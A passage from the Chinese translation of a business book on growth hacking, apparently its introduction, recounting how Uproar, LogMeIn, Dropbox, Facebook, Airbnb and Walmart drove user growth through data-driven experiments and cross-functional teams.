家游戏门户网站，帮助它做销售广告。但是不久之后我就认识到只依赖传统营销手段的局限性，即便披上了新的互联网时代的外衣，诸如网上横幅广告之类的方法，也很难有效地驱动增长。真正让我醒悟的时刻大概是当我试图销售广告版面给当时领先的广告公司盛世长城和奥美而被它们拒绝的时候，它们不肯将Uproar网站上的横幅广告位推荐给它们的客户，理由是Uproar网站的用户群不够大。当时，我的手头有些紧，担心拿不到自己急需的销售佣金，与此同时，公司创始人也要求我尽快找到办法获取新用户。我采取的第一个办法是在雅虎等门户网站投放付费广告，这有效地促进了增长。但是这种做法成本太高，这和后来德鲁·休斯顿在推广Dropbox时遇到的难题一样，价格高昂的广告并没有带来足够高的回报。同时，索尼、雅虎和微软也开始推广它们的游戏，在网上铺天盖地地打广告。作为一个年轻的创业公司，Uproar在资金实力上根本无法与它们抗衡，因此我必须另谋出路。\n这时，我想到了一个办法：创造一种全新类型的广告，让网站主免费在他们的网站上为Uproar的游戏做广告。也就是说，网站可以为访问者提供新的有趣的功能，而Uproar也获得了在这个网站上展示的机会。创始人同意了这个想法，随后我和工程师团队一起用了短短几周的时间开发了一个新的单人游戏，只需要给网站增加一小段代码就可以将这个游戏添加到任何网站上。这也是最早的嵌入式微件之一。如此一来，网站主成了Uproar的广告联盟成员，对于每一个通过他们的网站转到Uproar的新游戏玩家，Uproar只需要支付50美分。这样的低成本对我们来说非常合适，而且因为这个游戏趣味性很强，我们的联盟成员也非常乐意把它添加到他们的网站上。除了通过这些网站获得新的用户，我们也在这个单人游戏上增加了一个“将此游戏添加到你的网站”的选项，使其他网站主可以毫不费力地将游戏放到他们的网站上。\n这个游戏初获成功后，我们测试了几个不同版本的文案、行为召唤和免费游戏，以寻找最有效的组合方式。Uproar因此获得了爆炸式的增长，这些免费的游戏很快就被投放到了4万家网站上，Uproar也打败了那些在营销上一掷千金的巨头公司，一跃成为网络游戏的领军者。自那以后，很多其他公司也采用了同样的策略促进增长，其中最著名的例子就是YouTube。通过嵌入式视频播放器微件，YouTube的视频得以遍布整个网络，网络视频也因此形成一股风潮。\n正因为我在Uproar取得的成功，其创始人随后又邀请我帮助他发展他的下一个创业项目LogMeIn。LogMeIn是一个创新性的产品，可以使用户在任何一台联网的电脑上获取他们家中或者办公室电脑里的文件、邮件和软件。在进行了猛烈的搜索引擎营销攻势之后，LogMeIn起初获得了不少客户注册量，但是很快就进入了平台期。我意识到它面临的是同样的问题：广告成本太高，而收效太少。尤其是为了将产品与强有力的竞争对手GoToMyPC区别开来，LogMeIn在我的建议下从收费模式转为免费增值模式，但如此一来，产品付费收入减少了，营销成本更显高昂，而且每月一万美元的广告支出并没有带来相应的获客效益。尽管我们做了很多不同版本的广告测试，也尝试了各种不同的关键词搜索，试用了不同的广告平台，转化率仍然非常低。对于一个如此实用而且免费的产品，这样的结果令人十分不解。于是我再一次求助于技术以寻找解决问题的新思路。\n我决定试着联系那些注册后却并未使用我们产品的用户，获取他们的反馈意见。我们在注册过程中收集了用户的邮箱地址，于是便给这些用户发邮件，询问他们为何没有使用LogMeIn。这种做法现在看来再平常不过了，但在当时却是一个颠覆性的想法。仅仅几天过后，我们收到了完全一致的回复：他们不相信我们的服务真的是免费的。当时，免费增值软件模式才刚刚出现，许多人不相信有这等好事。意识到这点之后，我将我的营销团队和技术团队召集在一起进行头脑风暴，让大家献计献策，思考如何改进用户“着陆页”，如何更好地向用户传达这并非圈套，让他们相信LogMeIn真的提供免费的产品。我们尝试了许多营销方案和网页设计，但是，这些试验几乎没有带来任何实质性的改变。之后我们决定在页面上增加一个购买付费版本的简单链接，结果这让我们找到了页面设计、信息传达和服务选项的完美组合，使我们的转化率提高了不止两倍。但这仅仅是开始。通过深入分析数据，我们发现，那些下载了软件却并未使用的用户流失情况更加严重。我们不断试验，比如尝试改进安装过程和注册步骤等，最终使转化率大幅提升。这不仅提高了搜索广告的成本效益，同时使我们能够在保证盈利的前提下将搜索广告规模扩大100多倍。这样一来，公司的规模扩大了，也迅速实现了飞跃式的增长。\n再一次，我们只用了几周时间便找到了解决方案。而且方法也很简单，只需要一些创新性的思考，加强整个公司的协作，开展实时市场测试和试验（而且成本极低，甚至为零），并且根据试验结果做出迅速灵活的反应。这些便是后来我创立的增长黑客方法论里的要素，你也将在这本书里读到这个方法论的内容。\n当然，当时并非只有Uproar和LogMeIn这两家创业公司将编程和营销知识与网络最初的一些特征结合起来以驱动增长。比如，Hotmail就是最早利用网络产品病毒式传播与自我传播特征的公司之一，它在用户发出的每一封邮件的底部加上了一句非常简单的话，“加入Hotmail你也可以发送免费邮件了”，同时附上了一个链接，可以使新用户跳转到着陆页注册新账户。与此同时，网络支付平台贝宝（PayPal）的例子则显示了将产品和知名网络平台相结合所能获得的巨大增长潜力，这个网络平台就是易贝（eBay）。贝宝团队发现易贝上的拍卖人喜欢使用贝宝作为买家的支付方式，于是他们创建了自动链接。自动链接可以自动将贝宝的图标以及注册链接添加到拍卖人所有在拍商品页面，这使易贝上使用贝宝支付的交易数量增加了两倍，因此贝宝在易贝上获得了病毒式的增长。再来看看领英的故事。这家公司在创立的第一年有些不温不火，但在2003年底实现了势如破竹的增长。这是因为它的工程团队找到了一个绝佳的办法，使用户可以毫不费力地上传他们Outlook邮箱的通讯录并邀请联系人。这个办法产生了极大的网络效应，加速了领英的增长。在每一个案例中，增长都不是通过传统的广告营销获得的，而是通过编程上的一些巧思，而且都是在预算紧张的情况下实现的。\n如此这般精心设计、扩大并留存用户群的办法并非依靠传统的营销方案、重金打造的发布会或者高昂的广告支出，而是利用软件开发将营销嵌入产品本身。实践证明，这种办法非常有效，而且性价比很高。或许更重要的是，企业收集、储存、分析并实时跟踪大量用户数据的能力在不断提高，即便是小型创业公司也能够以极低的成本、更快的速度和更高的精准度试验产品的新功能、向用户传递信息的新方式或者塑造品牌的新办法以及其他新的营销手段，因此便催生出了一个通过高速度、跨职能的试验来驱动增长的做法，我就此提出了“增长黑客”这一概念。\n在LogMeIn的增长策略取得成功之后，我决定专注于用试验的方法帮助初创公司加速增长。所以当德鲁·休斯顿找到我，跟我讨论如何与Dropbox合作时，我迫不及待地想将我发展出的这一套方法付诸实践。我所做的第一件事就是获得休斯顿的支持，对现有用户做一个简单的调查，以计算Dropbox的“不可或缺性得分”（这是我提出的一个评分标准，你将会在本书中读到更详细的说明）。这个调查只问了一个非常简单的问题：“如果你无法再使用Dropbox，你将有何感受？”用户可以选择“非常失望”“有一点失望”“不失望”或者“不适用——已经弃用产品”这几个选项。（我之所以这样设计这个问题，是因为我发现询问人们是否满意并不能提供有意义的信息，与满意度相比，失望度能更好地衡量用户对产品的忠诚度。）我已经在很多家创业公司做过这项调查，发现只要有40%的受访者表示如果无法再使用一家公司的产品他们会“非常失望”的话，就说明这家公司拥有非常强的增长潜力，而如果这一比例不到40%（表明用户对产品比较冷淡），这家公司就会在业务增长上遭遇很大的困难。虽然我做了多次此类调查，但是当我看到Dropbox的结果时，还是吃了一惊，它的分数非常之高，在那些已经充分探索了产品各项功能的用户中，得分更是高得离谱。\n这表明Dropbox有着非常大的增长潜力，那么接下来要思考的就是如何释放这一潜力。因此我向休斯顿提议，不再花更多的钱做付费广告，而是通过试验来找到触发增长的其他办法。休斯顿表示赞成，于是邀请我作为临时的市场总裁加入公司，任期6个月。作为麻省理工学院工程系的毕业生，休斯顿已经很好地发挥了他的工程才能，开发出了Dropbox这个优秀的产品，现在我们需要将他的能力用于拓展新的用户群，并保证新用户也会喜欢这个产品。\n接下来便进入了增长过程的第二步——深入分析用户数据。通过分析Dropbox的用户数据，我们发现，1/3的Dropbox用户都是通过既有用户的推荐注册的。这说明尽管Dropbox的产品自传播还没有带来足够快的增长，但它的口碑效应已经十分强劲。也就是说，休斯顿已经创造出了一个人们真正喜爱的产品，而且他们十分乐于向朋友们推荐这个产品，只是它还没有带来足够多的新用户。这是一个典型的“梦幻之地”谬论，至今仍然在创业群体中广为存在：商家相信它们所需要的只是打造出一个出色的产品，而客户的获得只是水到渠成的事。\n我开始思考，Dropbox如何才能利用并扩大其强有力的口碑效应，使早期用户能够更有动力并且毫不费力地向他们的朋友宣传这个产品。我和休斯顿以及他为这个项目找来的实习生阿尔伯特进行了头脑风暴，我们决定像贝宝那样开展一个用户推荐计划。唯一的问题是贝宝提供10美元的存款返现以激励老用户推荐新用户，虽然它没有披露最终的总成本（联合创始人埃隆·马斯克后来透露成本高达六七千万美元），但是Dropbox无论如何也没有足够的财力通过“购买”用户来达到期望的增长规模。但我们随后想到，如果我们可以提供对用户有价值的其他东西呢？比如提供更大的存储空间以获得用户的推荐。当时，Dropbox使用的是亚马逊几年前推出的廉价的S3网络服务器来存储数据，这意味着要增加更多存储空间是很容易的事，成本也很低。于是我们将贝宝作为样板设计了一个用户推荐计划，用户每推荐一个朋友使用我们的服务，我们就额外提供给他们250兆的存储空间，同时他们的朋友也可以额外获得250兆的空间。那时，提供250兆就相当于免费赠送了一个硬盘，因此作为激励措施，还是相当“给力”的。\n用户推荐计划启动后，效果立竿见影，通过邮件和社交网络发出的邀请量瞬间激增，推荐注册量增加了60%。毫无疑问，计划奏效了，但是我们并没有止步。我们决心充分把握住这次机会，废寝忘食地努力了几个星期来优化这个计划的每一个细节，包括从信息传达到产品呈现、邮件邀请，再到用户体验和界面元素的细节。我们进行了“快节奏试验”（这是我提出的叫法），并实时评估试验的效果。我会每周两次查看每一个新试验的结果，看看哪些做法有效、哪些无效，并且利用这些数据决定下一次试验的内容。通过不断地调整和改变，结果越来越好，到2010年初时，Dropbox用户每个月都会发出超过280万份邀请，用户数量也从产品发布时的10万增长到了400多万。这是短短14个月的成果，而且在此期间没有任何传统的营销支出，没有横幅广告，没有付费推广，也没有邮件列表营销。事实上，在我于2009年春季结束和Dropbox的合作之后的9个月里，Dropbox没有再招聘一个新的全职营销负责人。\n与此同时，这一促进市场增长和获客的新方法也开始风靡硅谷。它摒弃了传统的高额营销预算和不科学、不可量化的营销策略，代之以更具成本效益比、更有效果且以数据驱动的模式。其他公司的创新者也开始设计类似的方法，同样聚焦于快速形成并测试开创性的增长思路。2007年底，脸谱网正式成立了一个五人增长团队，称为“增长圈子”。这个团队由产品管理、互联网营销、数据分析和工程方面的专家组成，也包括其最资深的产品经理内奥米·格雷特。团队由野心勃勃的经理卡马斯·帕里哈比提亚领导，他是脸谱网平台与广告产品的前产品营销负责人。他向马克·扎克伯格提议，重新将关注点放到扩大用户数量上。虽然当时的脸谱网已经有大约7 000万用户，可以说已经获得了显著的增长，但是它似乎开始止步不前了。所以扎克伯格要求团队测试各种方法，全力突破这一瓶颈。团队捷报频传，让扎克伯格看到了成立增长团队带来的回报，因此他继续为团队增加人手，使团队能够做更多的试验，不断加速脸谱网的增长。\n他们比较大的一次突破是开发了一个翻译软件以推动国际化的增长，而这一次突破也充分体现了增长黑客方法与传统营销手段的区别。当时，脸谱网7 000万用户中大多数都生活在北美，这说明国际市场蕴藏着脸谱网最大的增长机遇之一。但是要吸引国际用户，就需要将网站翻译成各种不同的语言版本，这任务太艰巨了。如果选择传统办法，就需要选出十种使用人数最多的语言，然后逐一组建当地团队开展翻译工作。但脸谱网的增长团队没有这么做，团队的工程师在哈维尔·奥利凡的带领下开发出了一个翻译软件，利用众包模式，让网站自己的用户来将网站内容翻译成自己的母语。曾在脸谱网增长团队工作过的增长黑客专家安迪·约翰斯是这样评价这一创新的：“增长并不是说你要选择最重要的20个国家，在每个国家雇10个人，然后等着这一切的努力能够奏效。增长是通过设计出可以大规模使用的系统，让用户来替我们实现产品的增长。”约翰斯认为脸谱网能够发展到今天的庞大规模，翻译引擎的研发功不可没，可以说是脸谱网采取的最重要的方法之一。\n随着脸谱网用户数量的不断扩大，增长黑客方法也逐渐兴起（当然和脸谱网的发展速度不可同日而语）。这在一定程度上是由于脸谱网增长团队的成员去了新的创业公司，比如Quora（一个互联网应用服务问答网站）、优步、AsaNa（团队任务管理平台）和推特等，并将这些方法也带了过去。那段时间，我在另外两家创业公司Eventbrite（在线活动策划服务平台）和Lookout（远程监控软件）通过增长黑客方法取得了巨大成功，而与此同时，领英、Airbnb和Yelp等一众公司也在践行类似的基于试验的方法。\n以Airbnb为例，其创始人在吸引用户方面曾遭遇极大的困难，以至于在公司开始起飞之前他们曾三次发布网站信息。同时，他们的资金链一度极为紧张，在2008年美国总统大选期间，他们甚至通过销售麦片补贴公司收入，还聪明地把当时的两位总统候选人奥巴马和麦凯恩放到了品牌名字里和麦片包装盒上。后来他们的资金困境越发严峻，两位创始人布莱恩·切斯基和乔·杰比亚一度只能靠没有卖出去的麦片过活，直到他们又筹到更多的资金。他们的团队为扩大用户群尝试了各种办法，但都以失败告终，直到他们找到了一个绝妙的增长黑客方法，从而释放了巨大的增长潜力，而这一过程后来也成了硅谷的一个传奇。他们通过复杂的编程和大量的试验调整，找到了一个可以将用户发布在Airbnb上的房源信息自动免费发布到分类广告网站Craigslist（克雷格列表）上的方法。如此一来，每当有人在该网站上搜索度假租房信息的时候，Airbnb的房源信息就会出现在结果中。\n这实在是个绝妙的办法。因为Craigslist并没有提供给Airbnb或任何人跨平台自动发布广告信息的有效方式。Airbnb的团队不得不进行逆向工程，摸清Craigslist如何管理新发布的广告信息，然后在他们的程序中重建这一过程。这意味着他们必须破解Craigslist发布系统的运作方式，弄清楚不同城市的度假房屋出租信息被划分到哪个类别以及信息发布有哪些限制条件，比如对图像和其他格式的限定。现任职于优步负责用户增长的安德鲁·陈评论称：“总而言之，这样的对接并不简单，需要做大量细致的工作，想必他们请了一帮非常聪明的技术达人花了很多时间进行完善。”他说：“说实话，一个传统的市场人员几乎不可能想到这一点，这种做法涉及太多的技术细节，只有工程师，而且是专注于从Craigslist获取更多用户的工程师才能想出来。”\n这个无比复杂的对接程序使Airbnb的房源信息可以迅速发布到Craigslist上，于是数百万Craigslist用户通过点击链接跳转到了Airbnb网站。在没有花一分钱打广告的情况下，Airbnb的客房预订量一飞冲天。完成了这一对接之后，Airbnb团队开始探索如何充分利用这片“蓝海”，他们开始分析并优化用户对Craigslist广告信息的反应，优化广告信息的排版、标题等等。虽然最后Craigslist禁止了Airbnb的这一做法，但是这已经给Airbnb带来了巨大的增长动力，而其团队也继续试验其他方法进一步推动增长。他们今天仍然在利用增长黑客方法驱动增长，我们在后面几章会再介绍他们近期的一些成功试验。\n增长黑客方法打破了企业内部传统的“筒仓”结构，将数据分析、工程、产品管理和市场营销方面的员工凝聚起来组成跨职能通力协作的团队，使企业能够将强大的数据分析、技术知识和营销能力高效结合起来，迅速寻找更具潜力的增长手段。通过迅速测试新想法、新思路，并根据计划指标对结果进行评估，增长黑客方法能够帮助企业更快地找到有效的做法、抛弃无效的做法。这可以使企业不再一味地在那些没有用的产品功能或者市场营销手段上浪费时间，摒弃浪费资源、过时而且没有得到验证的做法，代之以经过市场验证的、以数据驱动的做法。\n谁可以成为增长黑客？\n增长黑客方法并不仅仅是市场人员的工具，它也可以用于新产品开发和老产品的持续改进，或用于扩大既有产品的用户群。因此，它对于产品开发人员、工程师、设计师、销售人员和经理都有同样重要的价值。\n增长黑客方法也不仅仅是创业者的工具，它既适用于小型初创公司，也适用于大型成熟企业。事实上，如果你在大公司工作，并不需要获得某个公司高层的授权来实施增长黑客方法。它既适合大规模推行（整个公司范围内），也适合小规模实践（一个项目或计划）。也就是说，任何部门或项目团队都可以通过本书中介绍的方法进行增长黑客实践。\n正是这一方法论推动了上述所有公司取得巨大成功，也推动了很多其他增长最快的硅谷独角兽公司取得成功，包括Pinterest、BitTorrent（一款下载工具）、优步、领英等。对于这些公司取得的爆发式增长，一个常见的说法是它们只是想出了一个颠覆性的商业构想，一个绝妙的、变革性的、像风暴般震撼整个市场的想法。但是这样的说法显然是错误的。对于所有这些成功的公司来说，产品大范围普及并不是一夜之间实现的，也绝不是轻轻松松就达成的。这些公司的成功并不是因为某个改变世界的产品，也不是因为某一个想法、某一次好运气或者天才之举。事实上，它们之所以能够成功，是因为它们遵循了这样一套方法，迅速提出并测试产品开发和营销的新想法，并利用用户行为数据寻找驱动增长的制胜方法。\n如果你觉得这一个迭代过程听起来有些熟悉，很可能是因为你在敏捷软件开发（agile software development）或者精益创业（the Lean Startup methodology）方面了解过类似的做法。这两个理念是将这样一套方法分别用于产品开发和新商业模式探索，而增长黑客则是将同样的方法用于用户获取、留存与收入增长。采用这样的方法对肖恩和其他创业团队来说再自然不过了，因为设计出这一套增长黑客方法的公司汇集了很多熟悉这些方法的工程师，而这些公司的创始人也乐于将工程师开发软件、开发产品的这一套方法应用于扩大用户群。敏捷开发的核心是加快开发速度，强调迅速编程，然后定期测试并进行产品迭代。精益创业同样注重快速开发和高频率测试，并且强调尽快推出一个“最简化可实行产品”（minimum viable product）使用户能够尽快使用，以便尽早获得真实的用户反馈，确保公司业务具有可行性。增长黑客方法采用了这两个理念中持续改进和快速迭代的做法，将之用于客户和收入增长。在这一过程中，增长黑客方法打破了营销和工程之间的传统壁垒，寻找嵌入产品本身的新的营销方法，而这样的方法只能通过更多的技术知识来实现。\n这些开创者以及后继者摸索出的增长黑客做法逐渐形成了一套严密的商业方法论，并且在全球范围内掀起了一股风潮，数以十万计的公司纷纷开始效仿。这些增长黑客包括企业家、营销人员、工程师、产品经理、数据分析师等，他们不仅来自技术创业公司，也来自各行各业，包括技术、零售、B2B（企业对企业）、专业服务、娱乐甚至政界。\n虽然每一个公司的具体实践方法可能有所不同，但是这一套方法论的核心内容都是一样的。\n• 设立一个跨职能团队或几个团队，打破营销和产品开发部门之间传统的筒仓，凝聚公司人才。\n• 进行定性研究和定量数据分析，深入了解用户行为与喜好。\n• 迅速产生新思路并进行测试，根据严格的指标对试验结果进行评估并采取相应行动。\n然而，尽管增长黑客方法论已经通过实践检验，也日益普及，而且可以应用于任何领域或行业，但目前仍然没有一本权威、详尽且具有指导性的书来引导各行各业、不同规模的企业实践这一方法论。\n这本书正是为了弥补这一空白。\n一本确切翔实的指南\n我们决定写这本书，是因为我们看到了增长黑客能够给各行各业、各种职能带来的巨大潜力，也是因为我们意识到人们对于更好地理解并执行这个理念存在迫切的需求。增长黑客是颠覆性的、强有力的开拓市场的全新手段，但是人们还没有很好地理解该如何利用它以发挥它最大的功效。\n肖恩不仅是增长黑客的一个开拓者，也是网站GrowthHackers.com（一家提供黑客式增长咨询的网站）的创始人。这是目前在增长黑客领域领先的资讯网站，并且已经成为这一充满活力的群体的聚集地，其会员遍布世界各地，也吸引着数百万访问用户。我们每天都被各种询问增长黑客最佳做法的问题轰炸，这显然说明人们对于增长黑客的原理和实施过程存在着太多的疑问。于是我们决定写一本确切翔实的指南，使营销人员、产品经理、项目开发者、公司创始人以及各类企业的创新者都能够利用这本指南将增长黑客方法带到他们的团队或者公司中。\n在本书中，我们会分析肖恩在Dropbox、Uproar、LogMeIn以及其他很多非常成功的公司的经验，也包括他在发展他自己的两家公司GrowthHackers.com和Qualaroo过程中的心得体会。Qualaroo是一家用户研究与调查公司，在肖恩的领导下取得了飞速增长，后来肖恩高价卖掉了它。我们将探究当下其他一些发展最迅速的公司的增长团队的经验，比如脸谱网、印象笔记（Evernote）、领英、Yelp、Pinterest、HubSpot（数字营销公司）、Stripe（网上支付平台）、Etsy（网络商店）、BitTorrent和Upworthy（资讯网站），也采访了那些将增长黑客理念带入沃尔玛、IMB（国际商业机器公司）和微软等大型成熟企业的增长负责人。这些内容都将在本书中呈现。我们结合自身经验和这些增长专家的智慧及他们的故事写就这本增长黑客指南，使读者可以从中汲取灵感并付诸实践，实现他们自己的商业目标。\n于是，我们就有了第一本充满实践性、通俗易懂、循序渐进的增长黑客指南，它适用于任何类型的团队、部门或者公司。而两位作者中，一位是增长黑客的奠基者之一，另一位则是增长黑客的资深践行者。\n势不可当的增长机器\n毋庸置疑，增长停滞是当今企业面临的最危险、最紧迫的难题之一，不仅对初创企业来说是这样，对于任何规模、任何行业的企业来说都是如此。《哈佛商业评论》上一篇关于增长停滞的文章指出，一项大规模研究发现，87%的受访企业都经历过一次或多次急剧的增长放缓的情况，而且“在增长停滞的前后10年间，公司市值平均会缩水74%”。而且，两位作者认为这一问题在未来将进一步加剧，“种种迹象表明，在不远的将来，增长停滞的风险会不断上升”，这主要是由于“成熟商业模式的‘半衰期’在缩短”。两位作者提出了造成增长停滞的各种原因，其中包括“企业在管理既有产品和服务更新换代及开发新产品和服务方面的内部流程上存在问题”，以及“过早放弃核心业务，也就是未充分挖掘既有核心业务蕴藏的增长机会”。而增长黑客为这两个问题提供了解决方案。\n简而言之，每一个公司为了生存和发展壮大，都需要扩大客户群。但增长黑客并不仅仅涉及如何获取新客户，而且还包括如何吸引、激活用户并使用户产生依赖，如何灵活地适应客户不断变化的需求和喜好，使他们不仅成为我们不断扩大的收入来源，也成为我们忠实的宣传者，通过口碑推动品牌或产品的增长。\n增长团队的一个核心使命就是尽一切可能挖掘一个产品或服务的增长潜力。这就需要他们不断对产品进行调整并对调整内容进行测试，这包括产品的特征、信息传达方式以及用户获取、留存与变现的方式。这一方法的一个重要目的也在于寻找新的产品开发机遇，可能是通过分析客户行为或反馈，也可能通过研究机器学习和人工智能等新技术的应用方式来寻找机会。\n在很多推行增长黑客方法的公司，这一方法都取得了巨大的成功，以至增长团队发展到超过一百人的规模，而这些增长团队往往下设负责不同任务的小组，比如负责客户留存或者发展移动客户群的小组。有的公司甚至设立了不同人数的小组，并根据不同的业务需求调整小组的人员配置和职责分工。例如，在领英，增长团队已经从一开始的15人扩大到了超过120人，分为5个部门，分别负责网络增长、SEO/SEM（搜索引擎优化/搜索引擎营销）操作、用户引导、国际增长、用户吸引与重获。而在优步，增长团队则由不同小组构成，有负责司机用户增长的，有负责乘客用户增长的，有负责国际市场拓展的，等等。\n现在，任何公司都应该设立一个或多个增长团队，这样做的同时也不需要抛弃传统的组织架构或营销策略。增长团队并不一定会取代传统部门，而是对传统部门的补充，并能帮助它们改进工作方式。创业公司在创业初期摒弃传统的筒仓结构是有利的，但是随着公司的增长，在保留增长团队的同时也可以逐渐建立起传统的营销团队。而在规模更大、更成熟的公司，增长团队可以很好地协助产品、市场、工程和商务智能部门，与它们通力合作并促进不同部门之间的有效沟通。\n肖恩在Dropbox的经历表明，即便是规模最小的团队也可以实践这一过程。对于很多创业公司，尤其是初创公司来说，这样的小团队应当由创始人领导，并且整个公司的员工都应当参与进来。而规模更大的公司不可避免地要遭遇既有架构和文化对于改变的抵触情绪。小型增长团队可以单独设立，甚至可以为短期项目专门设立，比如新产品发布或者某一营销渠道（比如移动渠道）的推出。增长团队既可以是从零打造的专注增长的组织单元，也可以是由公司不同部门的现有员工组成的群体，也可以是根据具体需求设立的特别小组。随着时间的推移以及公司具体需求的变化，很多增长团队的规模、工作范围和职责也随之不断变化。\n增长黑客方法能够灵活适应任何团队或公司的不同需求，无论它们的规模是大是小，或是处于哪个增长阶段。它也能够带来丰厚的回报。接下来将讨论增长黑客方法的作用，以及它的重要性缘何远超以往。\n顶住冲击\n今天，不论是最青涩的创业公司还是最成熟的大企业，每一家公司都应当实行增长黑客方法，否则，势必会遭受来自采用此方法的竞争对手的冲击。\n即便是像IBM和沃尔玛这样的大型老牌企业现在也开始将增长黑客作为生存的关键手段。毕竟，现在所有公司都在某种程度上成了互联网技术公司，尽管很多公司的互联网操作仅限于营销和销售而非产品开发。另外，今天的市场领导者可能转瞬间就会遭受剧烈冲击，因此也需要迅速地采用新的技术工具并持续进行产品开发与市场营销试验，而这样的需求正迅速地从数字产品领域蔓延到各行各业。\n随着物联网的迅速发展，越来越多的产品都在通过联网或与其他产品联结而变得更加“智能”，这一过程只会发生得越来越快。随着实物商品的世界和软件世界迅速融合，对产品进行实时监测与更新在不久的将来不仅将成为可能，也将成为企业保持竞争力的关键。通用电气CEO（首席执行官）杰夫·伊梅尔特最近表示，“每一个工业企业都将成为软件公司”，而对于消费品公司、媒体企业、金融服务公司等各行各业的公司来说也将如此。著名商业战略分析师迈克尔·波特和软件公司PTC的CEO詹姆士·海普曼在他们共同发表在《哈佛商业评论》上的一篇文章中指出，一家公司如果能在产品售出之后对产品保持关注，就意味着“这家公司客户关系的重心从销售这个一次性的交易转移到了逐渐将客户从产品中获得的价值最大化上”。他们强调，这样的转变意味着“产品设计、云操作、服务改进和客户参与等部门之间将需要进行协调与合作”。根据我们的经验，要做到这一点，搭建一个跨职能的增长团队是最佳也是成本效益比最高的办法。\n电动汽车的开拓者特斯拉就是一个例子。它很好地利用技术不断地测试、更新并改进其产品，在这一过程中也将新的竞争对手甩在了身后。特斯拉并不在其生产的汽车上体现车型和年份，因为它不会让客户等着新车型发布，而是定期向车内软件发送更新，实时提升汽车的各方面性能（比如加入自动驾驶技术）。特斯拉计划在未来几年大大提高其汽车销量，因此从脸谱网和优步的增长团队招募了一批人才，并宣布：“我们正在从零开始打造一支增长团队，以设计、构建并优化可扩展的加速用户增长的解决方案。”\n解决速度需求\n增长黑客方法也可以解决当下所有企业都面临的速度难题。在当今竞争空前激烈且日新月异的商业环境中，迅速找到增长方法是至关重要的。增长黑客方法通过革新开发与发布产品的传统过程，设立持续的市场试验制度，系统性地实时应对市场需求，能够让企业抓住新机遇并且迅速解决问题，使企业增长更加迅速。这使得采用此方法的企业能够获得强有力的竞争优势，而且随着企业发展步伐的不断加快，这一优势将愈益凸显。\n现在的企业需要能够灵活并迅速地适应新技术与新平台，这至关重要。按照现在大部分企业仍在推行的传统商业模式，产品管理、市场营销、销售和工程等部门像一个个筒仓一样相互割裂，它们有着各自的任务计划，跨职能互动十分有限。产品团队负责开展市场调研、制定产品规格并评估市场规模。当完成设计后，产品被交付给工程部门或者生产部门，之后成品又被交回到产品部门手中。与此同时，市场部在收到产品部的市场调研结果和产品说明之后便着手制订营销方案，营销人员经常与第三方机构合作制订广告与推广计划，这就意味着这一工作往往远离核心员工。当产品开始发售时，公司才会想方设法扩大销量，实地销售报告也会反馈到产品和市场团队，以便为下一次产品发布提供指导。这一非常低效的循环可能需要几个季度甚至几年时间才能完成，使得企业无法及时适应消费者不断变化的需求或者技术的发展，也无法及时进行新的能力建设、产品改进和营销渠道拓展以吸引新客户。\n换言之，无论是创业公司还是成熟企业都承受不起被组织中的筒仓结构拖累的代价。通过打破这些壁垒，增长黑客方法能够使团队和企业更灵活、更迅速地适应不断变化的市场需求，加速推出新产品和新功能，也加速制定并实施能够吸引、激活新客户并从中变现的营销和销售策略。正因为这种对于速度的要求，增长黑客法的一个关键特征便是以尽可能快的节奏进行试验。正如脸谱网的增长副总裁亚力克斯·舒尔茨所言，“如果你每两周推送一次代码，而你的竞争对手每周推送一次，这意味着在短短两个月之后，你的竞争对手将会完成10倍于你的试验量。他们学习到的与产品相关的东西也将是你的10倍。”\n挖掘数据“金矿”\n增长黑客给公司带来竞争优势的另一个途径是帮助公司充分利用海量的客户数据。如今，在新技术工具的帮助下，企业能够更容易地收集这些数据，而这些数据蕴藏着等待开采的增长“金矿”。然而，对于今天的企业，无论大小，要从这些数据的“高山”中搜索并提取宝贵的“金矿石”却并非易事。在大多数情况下，企业都没有探索出收集用户数据的综合性方法。产品经理可能会开展调查和试验，但这往往是在没有市场部门参与的情况下进行的，而市场部往往也会自行收集数据并自己使用，不与其他团队分享。企业往往会聘请广告公司进行市场推广，广告公司也会收集相应数据，但是事前也不会咨询其他部门对于信息收集范围的意见。同时，编程团队收到的都是基于过去的数据提出的要求，而这些数据反映的客户需求往往已经过时了。\n结果，企业要么是以错误的数据指导行动，依赖的是肤浅、无用的指标（比如页面访问量），要么由于内部过于分化而错过宝贵的增长思路和机会。\n增长黑客能够帮助企业更有效地利用数据，以提取具体的、有意义的且实时的用户行为洞察，企业则可以利用这些洞察制定相应的战略，提出更有效且更有针对性的增长策略。\n沃尔玛的移动应用“低价捕手”（Savings Catcher）就是一个很好的例子。这个应用产生于与沃尔玛的价格匹配政策相关的用户行为分析。为充分利用广告匹配（即零售商同意为某一商品匹配市场上的最低价格）的兴起，沃尔玛的增长团队请工程师开发了一款App（应用软件），使客户能够通过手机拍照上传沃尔玛购物小票，如果其他连锁超市对其中任意商品提供更低的价格，客户就可以自动获得沃尔玛的返现。此外，工程团队发现，他们可以将沃尔玛在其价格匹配项目中收集的数据与他们外包的调查团队进行的广告推广计划结合起来，这样沃尔玛就可以只对它具有明显价格优势的商品进行大力推广，从而大大节省了广告开支。\n沃尔玛前市场副总裁布莱恩·莫纳汉认识到沃尔玛最大的财富正是它的数据，因此他推动公司各个部门的数据平台进行整合，使工程部、产品推广部、市场营销部甚至第三方代理商和供货商都能够通过一个统一的平台利用其产生并收集的数据。增长黑客通过促进合作和信息共享使大数据的作用最大化。莫纳汉强调，企业运营离不开这一方法：“你需要能够理解软件编写过程的市场人员、重视消费者洞察并理解商业问题的数据科学家。”\n传统营销成本上升而回报却不明晰\n传统营销手段如平面广告和电视广告，也包括近些年兴起的网络广告，都已陷入危机。随着市场越来越碎片化、变化速度越来越快，传统广告出现了成本不断上升而关注度却不断下降的局面。一个主要的问题，是在欧美等主要市场，互联网用户的增长已经停滞不前，现在，互联网已经覆盖美国89%的人口和英国93%的人口，互联网用户的增长几乎像这些国家的人口增长一样缓慢。即便在增长迅速的移动互联网领域，美国的移动用户普及率也已经达到了64%。这说明随着广告支出继续向线上转移，在访客量相同的情况下，广告间的竞争会更加激烈，从而推动线上广告价格以惊人的速度不断拉升。\n同时，随着消费者对技术的了解日益加深，他们也更加排斥广告。事实上，在美国，有6 980万互联网用户在使用广告屏蔽软件，其中近2/3是千禧一代的年轻人。另外，已经有50%的美国家庭订购了网飞（Netflix）、Hulu（一个免费视频网站）和Amazon 